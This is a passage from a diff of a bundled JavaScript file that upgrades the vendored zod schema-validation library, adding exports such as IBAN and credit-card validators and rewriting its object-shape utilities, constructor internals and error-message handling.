getErrorMap: () => getErrorMap, globalRegistry: () => globalRegistry, gt: () => _gt, @@ -54878,7 +54889,9 @@ __export(external_exports, { hex: () => hex2, hostname: () => hostname2, httpUrl: () => httpUrl, + iban: () => iban2, includes: () => _includes, + input: () => input, instanceof: () => _instanceof, int: () => int, int32: () => int32, @@ -54905,6 +54918,7 @@ __export(external_exports, { map: () => map, maxLength: () => _maxLength, maxSize: () => _maxSize, + memoizer: () => memoizer, meta: () => meta2, mime: () => _mime, minLength: () => _minLength, @@ -54925,6 +54939,7 @@ __export(external_exports, { number: () => number2, object: () => object, optional: () => optional, + output: () => output, overwrite: () => _overwrite, parse: () => parse2, parseAsync: () => parseAsync2, @@ -54935,6 +54950,7 @@ __export(external_exports, { preprocess: () => preprocess, prettifyError: () => prettifyError, promise: () => promise, + properties: () => _properties, property: () => _property, readonly: () => readonly, record: () => record, @@ -54964,6 +54980,7 @@ __export(external_exports, { toJSONSchema: () => toJSONSchema, toLowerCase: () => _toLowerCase, toUpperCase: () => _toUpperCase, + toZod: () => toZod, transform: () => transform, treeifyError: () => treeifyError, trim: () => _trim, @@ -54981,12 +54998,15 @@ __export(external_exports, { uuidv4: () => uuidv4, uuidv6: () => uuidv6, uuidv7: () => uuidv7, + validate: () => validate, + validateAsync: () => validateAsync, void: () => _void2, + withParser: () => withParser, xid: () => xid2, xor: () => xor }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/index.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/index.js var core_exports2 = {}; __export(core_exports2, { $ZodAny: () => $ZodAny, @@ -55018,6 +55038,7 @@ __export(core_exports2, { $ZodCheckMultipleOf: () => $ZodCheckMultipleOf, $ZodCheckNumberFormat: () => $ZodCheckNumberFormat, $ZodCheckOverwrite: () => $ZodCheckOverwrite, + $ZodCheckProperties: () => $ZodCheckProperties, $ZodCheckProperty: () => $ZodCheckProperty, $ZodCheckRegex: () => $ZodCheckRegex, $ZodCheckSizeEquals: () => $ZodCheckSizeEquals, @@ -55025,8 +55046,10 @@ __export(core_exports2, { $ZodCheckStringFormat: () => $ZodCheckStringFormat, $ZodCheckUpperCase: () => $ZodCheckUpperCase, $ZodCodec: () => $ZodCodec, + $ZodCreditCard: () => $ZodCreditCard, $ZodCustom: () => $ZodCustom, $ZodCustomStringFormat: () => $ZodCustomStringFormat, + $ZodCyclicError: () => $ZodCyclicError, $ZodDate: () => $ZodDate, $ZodDefault: () => $ZodDefault, $ZodDiscriminatedUnion: () => $ZodDiscriminatedUnion, @@ -55040,6 +55063,7 @@ __export(core_exports2, { $ZodFile: () => $ZodFile, $ZodFunction: () => $ZodFunction, $ZodGUID: () => $ZodGUID, + $ZodIBAN: () => $ZodIBAN, $ZodIPv4: () => $ZodIPv4, $ZodIPv6: () => $ZodIPv6, $ZodISODate: () => $ZodISODate, @@ -55095,10 +55119,15 @@ __export(core_exports2, { $input: () => $input, $output: () => $output, Doc: () => Doc, + INVALID: () => INVALID, JSONSchema: () => json_schema_exports, JSONSchemaGenerator: () => JSONSchemaGenerator, NEVER: () => NEVER, TimePrecision: () => TimePrecision, + URL_BAD_FORMAT: () => URL_BAD_FORMAT, + URL_UNPARSEABLE: () => URL_UNPARSEABLE, + ZodCompileAsyncError: () => ZodCompileAsyncError, + ZodCompileUnsupportedError: () => ZodCompileUnsupportedError, _any: () => _any, _array: () => _array, _base64: () => _base64, @@ -55114,6 +55143,7 @@ __export(core_exports2, { _coercedDate: () => _coercedDate, _coercedNumber: () => _coercedNumber, _coercedString: () => _coercedString, + _creditCard: () => _creditCard, _cuid: () => _cuid, _cuid2: () => _cuid2, _custom: () => _custom, @@ -55135,6 +55165,7 @@ __export(core_exports2, { _gt: () => _gt, _gte: () => _gte, _guid: () => _guid, + _iban: () => _iban, _includes: () => _includes, _int: () => _int, _int32: () => _int32, @@ -55183,6 +55214,7 @@ __export(core_exports2, { _pipe: () => _pipe, _positive: () => _positive, _promise: () => _promise, + _properties: () => _properties, _property: () => _property, _readonly: () => _readonly, _record: () => _record, @@ -55225,7 +55257,12 @@ __export(core_exports2, { _void: () => _void, _xid: () => _xid, _xor: () => _xor, + base64Charset: () => base64Charset, + base64urlCharset: () => base64urlCharset, + canParseURL: () => canParseURL, clone: () => clone, + compile: () => compile, + compileFn: () => compileFn, config: () => config, createStandardJSONSchemaMethod: () => createStandardJSONSchemaMethod, createToJSONSchemaMethod: () => createToJSONSchemaMethod, @@ -55238,18 +55275,30 @@ __export(core_exports2, { finalize: () => finalize, flattenError: () => flattenError, formatError: () => formatError, + getDiscriminatedOption: () => getDiscriminatedOption, globalConfig: () => globalConfig, globalRegistry: () => globalRegistry, + handleUnrepresentable: () => handleUnrepresentable, initializeContext: () => initializeContext, + isBackEdge: () => isBackEdge, + isRecursiveSchema: () => isRecursiveSchema, isValidBase64: () => isValidBase64, isValidBase64URL: () => isValidBase64URL, + isValidCIDRv6: () => isValidCIDRv6, + isValidCreditCard: () => isValidCreditCard, + isValidIBAN: () => isValidIBAN, + isValidIPv6: () => isValidIPv6, isValidJWT: () => isValidJWT, locales: () => locales_exports, + memoizer: () => memoizer, + mergeValues: () => mergeValues, meta: () => meta, parse: () => parse, parseAsync: () => parseAsync, + parseURLObject: () => parseURLObject, prettifyError: () => prettifyError, - process: () => process2, + process: () => processSchema, + processSchema: () => processSchema, regexes: () => regexes_exports, registry: () => registry, safeDecode: () => safeDecode, @@ -55258,94 +55307,27 @@ __export(core_exports2, { safeEncodeAsync: () => safeEncodeAsync, safeParse: () => safeParse, safeParseAsync: () => safeParseAsync, + standardProps: () => standardProps, + stripTabAndNewline: () => stripTabAndNewline, toDotPath: () => toDotPath, toJSONSchema: () => toJSONSchema, + toZod: () => toZod, treeifyError: () => treeifyError, + urlHostnameOk: () => urlHostnameOk, + urlProtocolOk: () => urlProtocolOk, util: () => util_exports, - version: () => version + validate: () => validate, + validateAsync: () => validateAsync, + validateURL: () => validateURL, + version: () => version, + withParser: () => withParser }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/core.js -var _a; -var NEVER = /* @__PURE__ */ Object.freeze({ - status: "aborted" -}); -// @__NO_SIDE_EFFECTS__ -function $constructor(name, initializer3, params) { - function init(inst, def) { - if (!inst._zod) { - Object.defineProperty(inst, "_zod", { - value: { - def, - constr: _, - traits: /* @__PURE__ */ new Set() - }, - enumerable: false - }); - } - if (inst._zod.traits.has(name)) { - return; - } - inst._zod.traits.add(name); - initializer3(inst, def); - const proto = _.prototype; - const keys = Object.keys(proto); - for (let i = 0; i < keys.length; i++) { - const k = keys[i]; - if (!(k in inst)) { - inst[k] = proto[k].bind(inst); - } - } - } - const Parent = params?.Parent ?? Object; - class Definition extends Parent { - } - Object.defineProperty(Definition, "name", { value: name }); - function _(def) { - var _a3; - const inst = params?.Parent ? new Definition() : this; - init(inst, def); - (_a3 = inst._zod).deferred ?? (_a3.deferred = []); - for (const fn of inst._zod.deferred) { - fn(); - } - return inst; - } - Object.defineProperty(_, "init", { value: init }); - Object.defineProperty(_, Symbol.hasInstance, { - value: (inst) => { - if (params?.Parent && inst instanceof params.Parent) - return true; - return inst?._zod?.traits?.has(name); - } - }); - Object.defineProperty(_, "name", { value: name }); - return _; -} -var $brand = Symbol("zod_brand"); -var $ZodAsyncError = class extends Error { - constructor() { - super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); - } -}; -var $ZodEncodeError = class extends Error { - constructor(name) { - super(`Encountered unidirectional transform during encode: ${name}`); - this.name = "ZodEncodeError"; - } -}; -(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); -var globalConfig = globalThis.__zod_globalConfig; -function config(newConfig) { - if (newConfig) - Object.assign(globalConfig, newConfig); - return globalConfig; -} - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/util.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/util.js var util_exports = {}; __export(util_exports, { BIGINT_FORMAT_RANGES: () => BIGINT_FORMAT_RANGES, + CONSTANT_CATCH: () => CONSTANT_CATCH, Class: () => Class, NUMBER_FORMAT_RANGES: () => NUMBER_FORMAT_RANGES, aborted: () => aborted, @@ -55356,6 +55338,7 @@ __export(util_exports, { assertNever: () => assertNever, assertNotEqual: () => assertNotEqual, assignProp: () => assignProp, + attachSchema: () => attachSchema, base64ToUint8Array: () => base64ToUint8Array, base64urlToUint8Array: () => base64urlToUint8Array, cached: () => cached, @@ -55364,8 +55347,12 @@ __export(util_exports, { cleanRegex: () => cleanRegex, clone: () => clone, cloneDef: () => cloneDef, + codePointLength: () => codePointLength, + constantCatch: () => constantCatch, createTransparentProxy: () => createTransparentProxy, defineLazy: () => defineLazy, + defineLazyInternal: () => defineLazyInternal, + derived: () => derived, esc: () => esc, escapeRegex: () => escapeRegex, explicitlyAborted: () => explicitlyAborted, @@ -55378,11 +55365,14 @@ __export(util_exports, { getParsedType: () => getParsedType, getSizableOrigin: () => getSizableOrigin, hexToUint8Array: () => hexToUint8Array, + hide: () => hide, + installLazyProp: () => installLazyProp, isObject: () => isObject2, isPlainObject: () => isPlainObject, issue: () => issue, joinValues: () => joinValues, jsonStringifyReplacer: () => jsonStringifyReplacer, + members: () => members, merge: () => merge, mergeDefs: () => mergeDefs, normalizeParams: () => normalizeParams, @@ -55391,6 +55381,7 @@ __export(util_exports, { objectClone: () => objectClone, omit: () => omit, optionalKeys: () => optionalKeys, + own: () => own, parsedType: () => parsedType, partial: () => partial, pick: () => pick, @@ -55399,11 +55390,14 @@ __export(util_exports, { promiseAllObject: () => promiseAllObject, propertyKeyTypes: () => propertyKeyTypes, randomString: () => randomString, + rawShape: () => rawShape, required: () => required, safeExtend: () => safeExtend, shallowClone: () => shallowClone, + sizeCaps: () => sizeCaps, slugify: () => slugify, stringifyPrimitive: () => stringifyPrimitive, + toZod: () => toZod, uint8ArrayToBase64: () => uint8ArrayToBase64, uint8ArrayToBase64url: () => uint8ArrayToBase64url, uint8ArrayToHex: () => uint8ArrayToHex, @@ -55415,6 +55409,9 @@ function assertEqual(val) { function assertNotEqual(val) { return val; } +function toZod() { + return (schema) => schema; +} function assertIs(_arg) { } function assertNever(_x) { @@ -55435,21 +55432,25 @@ function jsonStringifyReplacer(_, value) { return value.toString(); return value; } -function cached(getter) { - const set2 = false; - return { - get value() { - if (!set2) { - const value = getter(); - Object.defineProperty(this, "value", { value }); - return value; - } - throw new Error("cached value already set"); +var Cached = class { + constructor(getter) { + this._getter = getter; + this._value = void 0; + } + get value() { + const getter = this._getter; + if (getter !== void 0) { + this._value = getter(); + this._getter = void 0; } - }; + return this._value; + } +}; +function cached(getter) { + return new Cached(getter); } -function nullish(input) { - return input === null || input === void 0; +function nullish(input2) { + return input2 === null || input2 === void 0; } function cleanRegex(source) { const start = source.startsWith("^") ? 1 : 0; @@ -55459,7 +55460,7 @@ function cleanRegex(source) { function floatSafeRemainder(val, step) { const ratio = val / step; const roundedRatio = Math.round(ratio); - const tolerance = Number.EPSILON * Math.max(Math.abs(ratio), 1); + const tolerance = 4 * Number.EPSILON * Math.max(Math.abs(ratio), 1); if (Math.abs(ratio - roundedRatio) < tolerance) return 0; return ratio - roundedRatio; @@ -55498,6 +55499,56 @@ function assignProp(target, prop, value) { configurable: true }); } +function rawShape(def) { + const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); + return desc2?.get ? desc2.get.raw : desc2?.value; +} +function sourceShape(schema) { + return rawShape(schema._zod.def) ?? schema._zod.def.shape; +} +function deferProp(target, key, getter) { + Object.defineProperty(target, key, { + get() { + const value = getter(); + assignProp(this, key, value); + return value; + }, + enumerable: true, + configurable: true + }); +} +function putProp(target, key, value) { + if (key in target) + assignProp(target, key, value); + else + target[key] = value; +} +function mirrorShape(target, source, keys, wrap) { + const raw = sourceShape(source); + for (const key of keys) { + const desc2 = Object.getOwnPropertyDescriptor(raw, key); + if (!desc2.enumerable) + continue; + if (desc2.get) { + deferProp(target, key, () => { + const value = source._zod.def.shape[key]; + return wrap ? wrap(value, key) : value; + }); + } else + putProp(target, key, wrap ? wrap(desc2.value, key) : desc2.value); + } +} +function mirrorProps(target, source) { + for (const key of Reflect.ownKeys(source)) { + const desc2 = Object.getOwnPropertyDescriptor(source, key); + if (!desc2.enumerable) + continue; + if (desc2.get) + deferProp(target, key, () => source[key]); + else + putProp(target, key, desc2.value); + } +} function mergeDefs(...defs) { const mergedDescriptors = {}; for (const def of defs) { @@ -55536,8 +55587,8 @@ function randomString(length = 10) { function esc(str) { return JSON.stringify(str); } -function slugify(input) { - return input.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); +function slugify(input2) { + return input2.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); } var captureStackTrace = "captureStackTrace" in Error ? Error.captureStackTrace : (..._args) => { }; @@ -55715,16 +55766,16 @@ function stringifyPrimitive(value) { } function optionalKeys(shape) { return Object.keys(shape).filter((k) => { - return shape[k]._zod.optin === "optional" && shape[k]._zod.optout === "optional"; + return shape[k]._zod.optin !== void 0 && shape[k]._zod.optout === "optional"; }); } -var NUMBER_FORMAT_RANGES = { +var NUMBER_FORMAT_RANGES = /* @__PURE__ */ (() => ({ safeint: [Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER], int32: [-2147483648, 2147483647], uint32: [0, 4294967295], float32: [-34028234663852886e22, 34028234663852886e22], float64: [-Number.MAX_VALUE, Number.MAX_VALUE] -}; +}))(); var BIGINT_FORMAT_RANGES = { int64: [/* @__PURE__ */ BigInt("-9223372036854775808"), /* @__PURE__ */ BigInt("9223372036854775807")], uint64: [/* @__PURE__ */ BigInt(0), /* @__PURE__ */ BigInt("18446744073709551615")] @@ -55736,23 +55787,21 @@ function pick(schema, mask) { if (hasChecks) { throw new Error(".pick() cannot be used on object schemas containing refinements"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const newShape = {}; - for (const key in mask) { - if (!(key in currDef.shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - newShape[key] = currDef.shape[key]; - } - assignProp(this, "shape", newShape); - return newShape; - }, - checks: [] - }); - return clone(schema, def); + const newShape = {}; + mirrorShape(newShape, schema, maskedKeys(schema, mask)); + return clone(schema, mergeDefs(currDef, { shape: newShape, checks: [] })); +} +function maskedKeys(schema, mask) { + const raw = sourceShape(schema); + const keys = []; + for (const key of Reflect.ownKeys(mask)) { + if (!Object.getOwnPropertyDescriptor(raw, key)?.enumerable) { + throw new Error(`Unrecognized key: "${String(key)}"`); + } + if (mask[key]) + keys.push(key); + } + return keys; } function omit(schema, mask) { const currDef = schema._zod.def; @@ -55761,23 +55810,10 @@ function omit(schema, mask) { if (hasChecks) { throw new Error(".omit() cannot be used on object schemas containing refinements"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const newShape = { ...schema._zod.def.shape }; - for (const key in mask) { - if (!(key in currDef.shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - delete newShape[key]; - } - assignProp(this, "shape", newShape); - return newShape; - }, - checks: [] - }); - return clone(schema, def); + const omitted = new Set(maskedKeys(schema, mask)); + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)).filter((key) => !omitted.has(key))); + return clone(schema, mergeDefs(currDef, { shape: newShape, checks: [] })); } function extend(schema, shape) { if (!isPlainObject(shape)) { @@ -55786,45 +55822,39 @@ function extend(schema, shape) { const checks = schema._zod.def.checks; const hasChecks = checks && checks.length > 0; if (hasChecks) { - const existingShape = schema._zod.def.shape; - for (const key in shape) { + const existingShape = sourceShape(schema); + for (const key of Reflect.ownKeys(shape)) { if (Object.getOwnPropertyDescriptor(existingShape, key) !== void 0) { throw new Error("Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead."); } } } - const def = mergeDefs(schema._zod.def, { - get shape() { - const _shape = { ...schema._zod.def.shape, ...shape }; - assignProp(this, "shape", _shape); - return _shape; - } - }); - return clone(schema, def); + return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) })); +} +function extended(schema, shape) { + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema))); + mirrorProps(newShape, shape); + return newShape; } function safeExtend(schema, shape) { if (!isPlainObject(shape)) { throw new Error("Invalid input to safeExtend: expected a plain object"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const _shape = { ...schema._zod.def.shape, ...shape }; - assignProp(this, "shape", _shape); - return _shape; - } - }); - return clone(schema, def); + return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) })); } function merge(a, b2) { + if (!b2?._zod?.def) { + throw new Error("Invalid input to merge: expected an object schema. To merge a plain shape, use `.extend()`."); + } if (a._zod.def.checks?.length) { throw new Error(".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead."); } + const newShape = {}; + mirrorShape(newShape, a, Reflect.ownKeys(sourceShape(a))); + mirrorShape(newShape, b2, Reflect.ownKeys(sourceShape(b2))); const def = mergeDefs(a._zod.def, { - get shape() { - const _shape = { ...a._zod.def.shape, ...b2._zod.def.shape }; - assignProp(this, "shape", _shape); - return _shape; - }, + shape: newShape, get catchall() { return b2._zod.def.catchall; }, @@ -55832,74 +55862,26 @@ function merge(a, b2) { }); return clone(a, def); } -function partial(Class2, schema, mask) { +function partial(Class2, schema, mask, name = "partial") { const currDef = schema._zod.def; const checks = currDef.checks; const hasChecks = checks && checks.length > 0; if (hasChecks) { - throw new Error(".partial() cannot be used on object schemas containing refinements"); - } - const def = mergeDefs(schema._zod.def, { - get shape() { - const oldShape = schema._zod.def.shape; - const shape = { ...oldShape }; - if (mask) { - for (const key in mask) { - if (!(key in oldShape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - shape[key] = Class2 ? new Class2({ - type: "optional", - innerType: oldShape[key] - }) : oldShape[key]; - } - } else { - for (const key in oldShape) { - shape[key] = Class2 ? new Class2({ - type: "optional", - innerType: oldShape[key] - }) : oldShape[key]; - } - } - assignProp(this, "shape", shape); - return shape; - }, - checks: [] - }); - return clone(schema, def); + throw new Error(`.${name}() cannot be used on object schemas containing refinements`); + } + const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0; + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), Class2 && ((value, key) => selected && !selected.has(key) ? value : new Class2({ type: "optional", innerType: value }))); + return clone(schema, mergeDefs(schema._zod.def, { shape: newShape, checks: [] })); } function required(Class2, schema, mask) { - const def = mergeDefs(schema._zod.def, { - get shape() { - const oldShape = schema._zod.def.shape; - const shape = { ...oldShape }; - if (mask) { - for (const key in mask) { - if (!(key in shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - shape[key] = new Class2({ - type: "nonoptional", - innerType: oldShape[key] - }); - } - } else { - for (const key in oldShape) { - shape[key] = new Class2({ - type: "nonoptional", - innerType: oldShape[key] - }); - } - } - assignProp(this, "shape", shape); - return shape; - } - }); - return clone(schema, def); + const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0; + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), (value, key) => ( + // overwrite with non-optional + selected && !selected.has(key) ? value : new Class2({ type: "nonoptional", innerType: value }) + )); + return clone(schema, mergeDefs(schema._zod.def, { shape: newShape })); } function aborted(x, startIndex = 0) { if (x.aborted === true) @@ -55932,29 +55914,75 @@ function prefixIssues(path, issues) { function unwrapMessage(message2) { return typeof message2 === "string" ? message2 : message2?.message; } +function sizeCaps(defChecks) { + const caps = []; + for (const ch of defChecks ?? []) { + const d = ch._zod.def; + if (!/_(length|size)$|_equals$/.test(d.check)) + break; + const max = d.maximum ?? d.length ?? d.size; + if (max >= 0) + caps.push([max, ch]); + } + return caps; +} +function attachSchema(issues, start, inst) { + var _a3; + for (let i = start; i < issues.length; i++) { + (_a3 = issues[i]).schema ?? (_a3.schema = inst); + } +} function finalizeIssue(iss, ctx, config2) { - const message2 = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; - const { inst: _inst, continue: _continue, input: _input, ...rest } = iss; - rest.path ?? (rest.path = []); - rest.message = message2; + var _a3; + const traits = iss.inst?._zod?.traits; + if (traits?.has("$ZodType")) { + if (traits.has("$ZodCheck")) + (_a3 = iss).schema ?? (_a3.schema = iss.inst); + else + iss.schema = iss.inst; + } + const schemaError = iss.schema !== iss.inst ? iss.schema?._zod.def?.error : void 0; + const message2 = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(schemaError?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; + const full = {}; + for (const k of Object.keys(iss)) { + if (k === "inst" || k === "schema" || k === "continue" || k === "input" || k === "__proto__") + continue; + full[k] = iss[k]; + } + full.path ?? (full.path = []); + full.message = message2; if (ctx?.reportInput) { - rest.input = _input; + full.input = iss.input; } - return rest; + return full; } -function getSizableOrigin(input) { - if (input instanceof Set) +function getSizableOrigin(input2) { + if (input2 instanceof Set) return "set"; - if (input instanceof Map) + if (input2 instanceof Map) return "map"; - if (input instanceof File) + if (input2 instanceof File) return "file"; return "unknown"; } -function getLengthableOrigin(input) { - if (Array.isArray(input)) +var highSurrogate = /[\uD800-\uDBFF]/; +function codePointLength(str) { + const units = str.length; + if (!highSurrogate.test(str)) + return units; + let count = units; + for (let i = 0; i < units - 1; i++) { + if ((str.charCodeAt(i) & 64512) === 55296 && (str.charCodeAt(i + 1) & 64512) === 56320) { + count--; + i++; + } + } + return count; +} +function getLengthableOrigin(input2) { + if (Array.isArray(input2)) return "array"; - if (typeof input === "string") + if (typeof input2 === "string") return "string"; return "unknown"; } @@ -55980,12 +56008,12 @@ function parsedType(data) { return t; } function issue(...args) { - const [iss, input, inst] = args; + const [iss, input2, inst] = args; if (typeof iss === "string") { return { message: iss, code: "custom", - input, + input: input2, inst }; } @@ -56037,43 +56065,312 @@ var Class = class { constructor(..._args) { } }; - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/errors.js -var initializer = (inst, def) => { - inst.name = "$ZodError"; - Object.defineProperty(inst, "_zod", { - value: inst._zod, - enumerable: false +function members(proto, table2) { + for (const key in table2) { + const desc2 = Object.getOwnPropertyDescriptor(table2, key); + if (desc2.get) + Object.defineProperty(proto, key, { ...desc2, enumerable: false }); + else + defineBound(proto, key, desc2.value); + } +} +function own(inst, key, value, enumerable = true) { + Object.defineProperty(inst, key, { configurable: true, writable: true, enumerable, value }); + return value; +} +function hide(inst, key, value) { + return own(inst, key, value, false); +} +// @__NO_SIDE_EFFECTS__ +function derived(computes, table2) { + for (const key in computes) { + const compute = computes[key]; + Object.defineProperty(table2, key, { + configurable: true, + enumerable: true, + get() { + return own(this, key, compute(this)); + }, + set(value) { + own(this, key, value); + } + }); + } + return table2; +} +function defineBound(proto, key, fn) { + Object.defineProperty(proto, key, { + configurable: true, + get() { + return this == null ? fn : own(this, key, fn.bind(this)); + }, + set(value) { + own(this, key, value); + } }); - Object.defineProperty(inst, "issues", { - value: def, - enumerable: false +} +function claim(inst, sentinel) { + const proto = Object.getPrototypeOf(inst); + return sentinel in proto ? void 0 : proto; +} +var installing; +var broke = false; +var breaker = { + configurable: true, + get() { + broke = true; + return void 0; + } +}; +function defineLazyInternal(inst, key, compute) { + const proto = Object.getPrototypeOf(inst._zod); + if (key in proto && installing !== inst._zod) { + installing = void 0; + return; + } + installing = inst._zod; + Object.defineProperty(proto, key, { + configurable: true, + get() { + Object.defineProperty(this, key, breaker); + const outer = broke; + broke = false; + try { + const value = compute(this); + if (broke) + delete this[key]; + else + Object.defineProperty(this, key, { configurable: true, writable: true, value }); + broke = broke || outer; + return value; + } catch (err) { + delete this[key]; + broke = broke || outer; + throw err; + } + }, + set(value) { + Object.defineProperty(this, key, { configurable: true, writable: true, value }); + } }); - inst.message = JSON.stringify(def, jsonStringifyReplacer, 2); - Object.defineProperty(inst, "toString", { - value: () => inst.message, - enumerable: false +} +function installLazyProp(inst, key, make, enumerable) { + const proto = claim(inst, key); + if (!proto) + return; + Object.defineProperty(proto, key, { + configurable: true, + get() { + const desc2 = { configurable: true, writable: true, enumerable, value: void 0 }; + Object.defineProperty(this, key, desc2); + desc2.value = make(this); + Object.defineProperty(this, key, desc2); + return desc2.value; + }, + set(value) { + Object.defineProperty(this, key, { configurable: true, writable: true, enumerable, value }); + } }); +} +var CONSTANT_CATCH = "~constantCatch"; +function constantCatch(value) { + const fn = () => value; + fn[CONSTANT_CATCH] = true; + return fn; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/core.js +var _a; +var NEVER = /* @__PURE__ */ Object.freeze({ + status: "aborted" +}); +var _zodDesc = { value: void 0, enumerable: false }; +var _E = "captureStackTrace" in Error ? Error : null; +function newError(Definition) { + const E = _E; + if (E) { + const saved = E.stackTraceLimit; + if (typeof saved === "number") { + try { + E.stackTraceLimit = 0; + } catch { + _E = null; + return new Definition(); + } + try { + return new Definition(); + } finally { + E.stackTraceLimit = saved; + } + } + } + return new Definition(); +} +// @__NO_SIDE_EFFECTS__ +function $constructor(name, initializer3, proto, params) { + const zodProto = {}; + function Internals(def) { + this.def = def; + this.constr = _; + this.traits = /* @__PURE__ */ new Set(); + } + Internals.prototype = zodProto; + const protoMembers = proto; + const initialized = protoMembers && /* @__PURE__ */ new WeakSet(); + function init(inst, def) { + if (!inst._zod) { + _zodDesc.value = new Internals(def); + try { + Object.defineProperty(inst, "_zod", _zodDesc); + } finally { + _zodDesc.value = void 0; + } + } else if (inst._zod.traits.has(name)) { + return; + } + inst._zod.traits.add(name); + initializer3(inst, def); + if (initialized) { + const own2 = Object.getPrototypeOf(inst); + const ctorProto = inst._zod.constr.prototype; + let up = own2; + while (up && up !== ctorProto) + up = Object.getPrototypeOf(up); + const target = up ?? own2; + if (!initialized.has(target)) { + initialized.add(target); + members(target, protoMembers); + } + } + const proto2 = _.prototype; + for (const k in proto2) { + if (!Object.prototype.hasOwnProperty.call(proto2, k)) + continue; + if (!(k in inst)) { + inst[k] = proto2[k].bind(inst); + } + } + } + const Parent = params?.Parent ?? Object; + class Definition extends Parent { + } + Object.defineProperty(Definition, "name", { value: name }); + function _(def) { + const inst = params?.Parent ? newError(Definition) : this; + init(inst, def); + const deferred = inst._zod.deferred; + if (deferred) { + for (const fn of deferred) { + fn(); + } + inst._zod.deferred = void 0; + } + const pp = globalThis.__zod_globalConfig?.postProcessor; + if (pp) + pp(inst); + return inst; + } + Object.defineProperty(_, "init", { value: init }); + Object.defineProperty(_, Symbol.hasInstance, { + value: (inst) => { + if (params?.Parent && inst instanceof params.Parent) + return true; + return inst?._zod?.traits?.has(name); + } + }); + Object.defineProperty(_, "name", { value: name }); + return _; +} +var $brand = /* @__PURE__ */ Symbol("zod_brand"); +var $ZodAsyncError = class extends Error { + constructor() { + super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); + } +}; +var $ZodEncodeError = class extends Error { + constructor(name) { + super(`Encountered unidirectional transform during encode: ${name}`); + this.name = "ZodEncodeError"; + } +}; +(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); +var globalConfig = globalThis.__zod_globalConfig; +function config(newConfig) { + if (newConfig) + Object.assign(globalConfig, newConfig); + return globalConfig; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/errors.js +function _getMessage() { + const internals = this._zod; + internals.message ?? (internals.message = JSON.stringify(internals.def, jsonStringifyReplacer, 2)); + return internals.message; +} +function _setMessage(value) { + this._zod.message = value; +} +var _messageDesc = { + get: _getMessage, + set: _setMessage, + enumerable: true, + configurable: true +}; +var _issuesDesc = { value: void 0, enumerable: false }; +var _installedToString = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]); +var initializer = (inst, def) => { + inst.name = "$ZodError"; + _issuesDesc.value = def; + Object.defineProperty(inst, "issues", _issuesDesc); + _issuesDesc.value = void 0; + Object.defineProperty(inst, "message", _messageDesc); + const proto = Object.getPrototypeOf(inst); + if (!_installedToString.has(proto)) { + _installedToString.add(proto); + Object.defineProperty(proto, "toString", { + configurable: true, + enumerable: false, + get() { + const value = () => this.message; + Object.defineProperty(this, "toString", { value, configurable: true, writable: true }); + return value; + }, + set(value) { + Object.defineProperty(this, "toString", { value, configurable: true, writable: true }); + } + }); + } }; var $ZodError = $constructor("$ZodError", initializer); -var $ZodRealError = $constructor("$ZodError", initializer, { Parent: Error }); -function flattenError(error51, mapper = (issue2) => issue2.message) { +var $ZodRealError = $constructor("$ZodError", initializer, void 0, { + Parent: Error +}); +function node(obj, key, make) { + if (!Object.prototype.hasOwnProperty.call(obj, key)) { + if (key === "__proto__") { + Object.defineProperty(obj, key, { value: make(), writable: true, enumerable: true, configurable: true }); + } else { + obj[key] = make(); + } + } + return obj[key]; +} +function flattenError(error62, mapper = (issue2) => issue2.message) { const fieldErrors = {}; const formErrors = []; - for (const sub of error51.issues) { + for (const sub of error62.issues) { if (sub.path.length > 0) { - fieldErrors[sub.path[0]] = fieldErrors[sub.path[0]] || []; - fieldErrors[sub.path[0]].push(mapper(sub)); + node(fieldErrors, sub.path[0], () => []).push(mapper(sub)); } else { formErrors.push(mapper(sub)); } } return { formErrors, fieldErrors }; } -function formatError(error51, mapper = (issue2) => 